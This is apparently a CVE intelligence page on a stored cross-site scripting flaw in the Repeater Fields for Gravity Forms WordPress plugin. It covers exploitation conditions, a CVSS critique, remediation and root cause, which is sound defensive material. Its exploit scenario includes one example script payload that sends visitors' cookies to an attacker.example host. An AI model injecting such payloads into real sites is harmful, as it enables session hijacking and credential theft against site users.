Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit form with XSS payload in Name/Address repeater sub-field
-
DeliveryPayload stored unescaped in WordPress database
-
ExploitVictim (user or admin) loads page rendering repeater entry
-
ExecutionBrowser executes injected script in victim's session context
-
ImpactAttacker harvests session cookies or performs action as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concrete conditions: (1) the target WordPress site must have the Repeater Fields for Gravity Forms plugin installed at version ≤3.0.4; (2) at least one published, publicly accessible Gravity Form must include a Repeater field block that contains a multi-input sub-field type - specifically Name, Address, or Checkbox field types, not scalar text/email/number fields; (3) the form must accept submissions without requiring login (default configuration for most contact or intake forms). Exploitation is limited to multi-input composite sub-field types only - scalar single-input field values (plain text, email, phone) are protected by esc_html() in 3.0.4 and are NOT exploitable. Sites where all repeater forms require authenticated submission (logged-in users only) reduce but do not eliminate risk, as authenticated contributors could still inject payloads. |
| Impact | The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C) scores 7.2, but UI:N is debatable for stored XSS: exploitation requires a separate user (e.g., a site visitor or WordPress admin) to load the injected page, which aligns with UI:R under standard CVSS 3.1 guidance - yielding a score closer to 6.1. Scope:Changed (S:C) is correctly applied since the injected script executes in the victim's browser security context rather than the plugin's origin. No EPSS data or KEV listing was provided, and no public exploit code has been identified, reducing immediate risk. However, the combination of zero authentication required (PR:N), low attack complexity (form submission), and the fact that this affects the most recent released version (3.0.4) makes this a credible threat for any WordPress site using Gravity Forms with the Repeater Fields addon and at least one public-facing form containing Name, Address, or Checkbox repeater sub-fields. Practical impact is script injection against form viewers or administrators reviewing entries in the WP backend - typically session theft, credential harvesting, or defacement. |
| Exploit ScenarioDerived | An unauthenticated attacker visits a WordPress site with a public Gravity Form that includes a Repeater field containing a Name or Address sub-field, submits the form with a JavaScript payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) as one of the composite sub-field values, and the payload is stored in the WordPress database without sanitization. When any site visitor or administrator subsequently loads a page rendering that form entry - such as a confirmation page, entry list in the WP admin, or a front-end display - their browser executes the injected script, enabling session hijacking or credential theft. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 09, 2026
Stored Cross-Site Scripting in the Repeater Fields for Gravity Forms WordPress plugin (all versions ≤3.0.4) allows unauthenticated attackers to inject arbitrary JavaScript into pages via multi-input sub-field types (Name, Address, Checkbox) within a repeater block, executing whenever any user views the affected page. The flaw is isolated to complex sub-field types because scalar single-input fields were patched with esc_html() output escaping in 3.0.4, leaving multi-input composite fields unprotected. Discovered and reported by Wordfence; no public exploit identified at time of analysis, though the vulnerability requires no authentication or special site configuration to abuse via a publicly accessible Gravity Form.
RemediationAI
Site administrators should update the Repeater Fields for Gravity Forms plugin to any version released after 3.0.4 once a patched release is published; the upstream fix is available as SVN changeset 3677164 (https://plugins.trac.wordpress.org/changeset?reponame=&old=3677164%40repeater-for-gravity-forms&new=3677164%40repeater-for-gravity-forms) but a tagged release version has not been independently confirmed from the available data. Until a patched release is available, operators should disable or restrict all public-facing Gravity Forms that use Repeater field groups containing multi-input sub-field types (Name, Address, Checkbox); converting such forms to require login before submission eliminates the unauthenticated attack vector. Alternatively, a Web Application Firewall rule targeting stored XSS payloads in form POST bodies can reduce exposure, though WAF bypasses are common. Do not rely solely on version 3.0.4 as a fixed version - it addresses scalar fields only.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected plugin (CPE: cpe:2.3:a:addonsorg:repeater_fields_for_gravity_forms) extends Gravity Forms with repeatable field groups. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is the absence of output escaping for values submitted into multi-input sub-fields - composite field types such as Name (first/last), Address (street/city/state/zip), and Checkbox (multiple selected values) - when those values are rendered back to the page by repeater_field.php. Source code references at lines L401, L474, L543, and L549 of repeater_field.php in both the 2.4.6 and 3.0.4 plugin tags confirm the vulnerable output paths. Because version 3.0.4 only added esc_html() for scalar values but not for array-structured sub-field outputs, the patch is partial and the plugin remains exploitable in its most recent released version.
Know when Repeater Fields For Gravity Forms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Stored XSS requires victim to load the injected page (UI:R); all other vectors match - unauthenticated, network-accessible public form, scope changes to victim browser.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Repeater Fields for Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Repeated Multi-Input Sub-Field Values in all versions up to, and including, 3.0.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability only affects multi-input sub-field types within a repeater (such as Name, Address, and Checkbox fields), as scalar single-input field values are escaped with esc_html() at the output stage in version 3.0.4.
Articles & Coverage 1
Executive ViewAI
Repeater Fields for Gravity Forms WordPress plugin (versions ≤3.0.4) contains a stored cross-site scripting vulnerability allowing unauthenticated attackers to inject malicious JavaScript into form pages, compromising all site visitors who access affected forms. Organizations using this plugin for public-facing forms face immediate risk of credential theft, session hijacking, and malware injection without any user action required. The vulnerability directly exposes customer data and site reputation to compromise.
Disable multi-input repeater field types (Name, Address, Checkbox sub-fields) or restrict forms to authenticated users only. Implement Content Security Policy (CSP) headers prohibiting inline script execution. Deploy WAF rules blocking common XSS payloads in form submissions. Monitor form submissions for unexpected JavaScript content and alert on anomalies. For organizations unable to disable forms, implement rate limiting on form submission endpoints and logging of all form input for forensic review.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-74602
GHSA-8qqg-q8fr-3hch
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB